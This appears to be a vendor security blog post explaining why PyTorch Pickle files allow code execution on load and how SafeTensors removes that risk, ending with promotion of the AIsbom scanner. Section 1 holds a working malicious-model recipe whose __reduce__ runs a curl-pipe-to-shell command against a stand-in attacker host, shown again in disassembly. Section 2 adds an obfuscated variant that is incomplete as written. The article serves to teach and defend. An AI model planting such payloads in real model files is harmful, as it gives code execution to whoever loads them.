When you load a model weight file using Python's standard torch.load(), you are not just reading static floating-point data. You might be executing arbitrary code on your system.

This risk isn't hypothetical. Much of the machine learning ecosystem is built on legacy serialisation formats, most notably Python's pickle module, that are vulnerable to Remote Code Execution (RCE) by design. In response, much of the open-source ML community has migrated toward Hugging Face's SafeTensors format.

But how do these formats compare under the security microscope? What makes Pickle so dangerous, how does SafeTensors fix it, and what security vulnerabilities remain even after you migrate? This deep dive breaks down the technical execution models of both formats.

1. The Anatomy of Pickle

Historically, PyTorch model files (typically saved as .pt, .pth, or .bin) used Python's pickle module under the hood to store metadata and structural information about model weights.

Pickle is not a raw data storage format like JSON or Protocol Buffers. It is an instruction stream designed for a stack-based virtual machine: the Pickle Virtual Machine (PVM).

When you call torch.load(), the interpreter reads the file's binary stream as a sequence of opcodes, executing them step-by-step to reconstruct objects in memory. The VM relies on key components:

  • The Stack: A LIFO scratchpad for values, object lists, and call parameters.
  • The Memo: A key-value lookup cache used to reference previously instantiated objects and resolve circular dependencies.
  • Instruction Opcodes: One-byte instructions that instruct the VM to push integers/strings, create tuples, import modules, and execute callables.

The fundamental security failure of Pickle lies in two specific opcodes: GLOBAL (which resolves modules and imports symbols) and REDUCE (which executes a callable using arguments popped from the stack).

To illustrate how simple it is to exploit this, consider the following script that saves a malicious "pickle bomb" payload as a PyTorch model file:

import os
import torch

class MaliciousPayload:
    def __reduce__(self):
        # The unpickler will execute this callable on load
        return (os.system, ("curl -s http://attacker.com/malware.sh | sh",))

# Saves class metadata containing instructions to run shell commands
torch.save(MaliciousPayload(), "malicious_model.pt")

Disassembling this file's instruction stream using Python's built-in pickletools.dis() reveals the raw stack instructions executed upon loading:

    0: c    GLOBAL     'os system'
   11: (    MARK
   12: V    UNICODE    'curl -s http://attacker.com/malware.sh | sh'
   57: t    TUPLE      (MARK at 11)
   58: R    REDUCE
   59: .    STOP

The PVM imports the os module, locates system, builds the argument tuple, and triggers REDUCE. The shell command executes immediately, running under the privilege level of the loading process, all before a single tensor weight is loaded or any inference is performed.

2. Obfuscation & Bypasses in Pickle

Many teams rely on naive string matching to scan model files for keywords like os.system or subprocess. However, because the Pickle VM is Turing-complete, attackers can easily obfuscate payloads.

For example, an attacker can dynamically resolve system imports using harmless-looking primitives like getattr and __import__:

import builtins
import torch

class ObfuscatedPayload:
    def __reduce__(self):
        # Resolve 'os.system' dynamically to evade static keyword checks
        return (
            builtins.getattr,
            (__import__("os"), "sys" + "tem")
        )

torch.save(ObfuscatedPayload(), "obfuscated_model.pt")

A static scanner looking for os.system will miss this entirely. The symbol table only contains builtins.getattr and builtins.__import__, resolving the target shell command dynamically at runtime.

Is PyTorch's weights_only=True a Complete Cure?

Starting in version 2.6, PyTorch flipped the default for torch.load() to weights_only=True. This instructs the loader to use a restricted unpickler that refuses to import arbitrary modules.

While this is a welcome improvement, it is a band-aid rather than a structural cure:

  • Ubiquitous Legacy Code: Millions of legacy codebases, pipelines, and Jupyter Notebooks still use old PyTorch versions or explicitly opt out via weights_only=False to bypass load errors on custom architectures.
  • Bypass Vulnerabilities: Security researchers have historically discovered bypasses in restricted unpickler implementations by chaining permitted safe classes to reconstruct arbitrary callables.
  • No Metadata Auditing: The restricted unpickler does nothing to solve other critical pipeline risks, such as verifying licenses or checking data lineage.

3. SafeTensors (Data Only, No Code)

To address the structural vulnerability of Pickle, Hugging Face developed the SafeTensors format. The design philosophy behind SafeTensors is simple: eliminate the execution engine entirely.

A SafeTensors file contains no instruction sets, no virtual machines, and no dynamic resolution paths. It is a pure, flat binary representation of data:

graph LR
    A["8-byte header length
(uint64, little-endian)"] --> B["JSON header
(shapes, dtypes, offsets)"] B --> C["Raw binary tensor buffers
(flat, contiguous bytes)"]

The layout consists of three segments:

  1. 8-Byte Header Length: A 64-bit unsigned little-endian integer declaring the size of the following header.
  2. JSON Header: A UTF-8 encoded JSON string containing tensor shapes, offsets, data types, and user metadata.
  3. Raw Binary Buffers: Flat bytes representing the numeric tensor weights.

When a loader parses a .safetensors file, it reads the first 8 bytes, extracts the header length, parses the JSON string, and then points memory buffers directly to the remaining bytes. Because there is no VM or instruction stream, there is no code path that can lead to remote code execution.

4. Performance & Memory

Security improvements often come at the cost of speed. SafeTensors is an exception: the same design choice that removes the execution engine also makes loading faster. That performance gain is a large part of why the format spread so quickly.

Because the weights in SafeTensors are saved as flat binary blocks mapped directly to their JSON offsets, loaders can utilise memory mapping (mmap).

Memory mapping allows the OS to map the model file directly into the process address space. The loader doesn't need to copy bytes into the Python process heap or run CPU deserialization routines; pages are faulted in lazily as tensors are accessed. This removes the upfront deserialization cost that dominates Pickle load times, and multiple processes can share the mapped pages without duplication. (Moving weights onto a GPU is still a real copy, but the host-side parse is effectively free.)

In contrast, Pickle requires the interpreter to construct individual Python objects on the heap, parse each stream sequentially, and allocate memory dynamically. This results in slow load times and significant memory overhead.

5. Technical Comparison

Feature Pickle (PyTorch Legacy) SafeTensors
Execution Model Stack-Based VM (Executes Code) Data-Only (JSON Header + Bytes)
RCE Risk Surface High (Arbitrary code execution on load) Eliminated by design (no execution engine)
Static Scannability Difficult (Requires opcode emulation/parsing) Trivial (Standard JSON parser)
Loading Speed Slow (Requires CPU deserialization) Fast (Zero-copy memory mapping)
Memory Sharing No (Process-specific objects allocated) Yes (Shared OS-level mmap buffers)

6. When SafeTensors Isn't Enough

While migrating to SafeTensors solves the critical threat of load-time remote code execution, it is not a complete security solution. Believing that SafeTensors solves all model-supply-chain risks introduces a false sense of security.

Several major threat vectors remain unaddressed by SafeTensors:

A. Model Weight Tampering (Malicious Weights)

SafeTensors ensures that the file loader cannot run arbitrary shell commands. However, the numeric tensor values can still be tampered with. An attacker who gains write access to a model repository can modify the weight layers to inject backdoors (e.g., triggering a bypass in safety filters on a specific keyword prompt) or systematically degrade the model's accuracy. SafeTensors parses these modified floats perfectly, meaning the tampered model loads safely but operates maliciously.

B. Legal and License Compliance

SafeTensors does not enforce compliance. Many open-weights models are published under restrictive licenses, such as Creative Commons Non-Commercial (CC-BY-NC) or Meta's Llama Community License. If you deploy a CC-BY-NC model in a commercial product, you face legal risk, regardless of whether the model is stored as a Pickle file or a SafeTensors file.

C. Dependency Vulnerabilities

Even if your model file is safe, the runtime stack loading it is not. The deep learning libraries wrapping the model (PyTorch, Transformers, ONNX Runtime) are complex codebases written in C++ and Python, with their own CVEs and supply-chain vulnerabilities.

The Security Posture: SafeTensors secures the deserialisation boundary. It does not secure the model lifecycle. You still need cryptographic integrity checks (SHA-256 hashes) and compliance auditing to verify the safety of the model supply chain.

7. Securing the Pipeline with AIsbom

Securing your ML pipeline requires continuous visibility. This is where an AI Bill of Materials (AI BOM) comes in. Rather than guessing which format or license your models are using, you can dynamically audit your codebase.

AIsbom is a static-analysis security scanner designed specifically for the ML supply chain. It performs deep binary introspection of models (supporting PyTorch Pickle, SafeTensors, and GGUF) without executing model code.

Statically Scanning a Local Directory

pipx run --spec aisbom-cli aisbom scan ./models

Verifying Remote Models Before Downloading

AIsbom uses HTTP Range requests to peek at the headers of remote Hugging Face checkpoints. It extracts SafeTensors metadata, license declarations, and hashes in seconds without downloading the multi-gigabyte weight files:

aisbom scan hf://Qwen/Qwen2.5-7B-Instruct

This allows you to verify license compliance and format safety inside your CI/CD pipelines before letting developers commit new weights to your production infrastructure.

8. Frequently Asked Questions

What is the difference between Pickle and SafeTensors?

Pickle is a Python serialization format that uses an instruction stream to reconstruct objects, which can execute code on load. SafeTensors is a strict data format that contains only a JSON metadata header and raw bytes, preventing code execution.

Can a SafeTensors file contain malware?

No executable code malware can exist in a SafeTensors file because it lacks an execution engine. However, the tensor floats can be modified to degrade performance or inject bias/backdoors. Static scanning and hashing are still necessary.

Why is memory mapping faster in SafeTensors?

Memory mapping (mmap) lets the operating system load file contents directly into memory space without copying bytes into the heap. Since SafeTensors weights are stored in flat, contiguous byte buffers, they align perfectly with memory mapping requirements.

How do I load SafeTensors in PyTorch?

Hugging Face's safetensors library (a separate, lightweight dependency) provides simple APIs like load_file and save_file for reading and writing tensor weights. Note that it is not a one-to-one replacement for torch.load / torch.save: SafeTensors only serialises a flat dictionary of tensors, so anything torch.save stores beyond raw weights (optimizer state, custom Python objects, arbitrary training metadata) has to be persisted separately.

9. Take Action

Eliminate serialization risk from your ML pipelines. You can audit your repositories and extract CycloneDX AI BOMs with one command:

pipx run --spec aisbom-cli aisbom scan ./models --format cyclonedx --output sbom.json

To understand the mechanics of writing a basic unpickler scanner using Python's standard library, see our companion guide: How to detect malware in a PyTorch pickle file.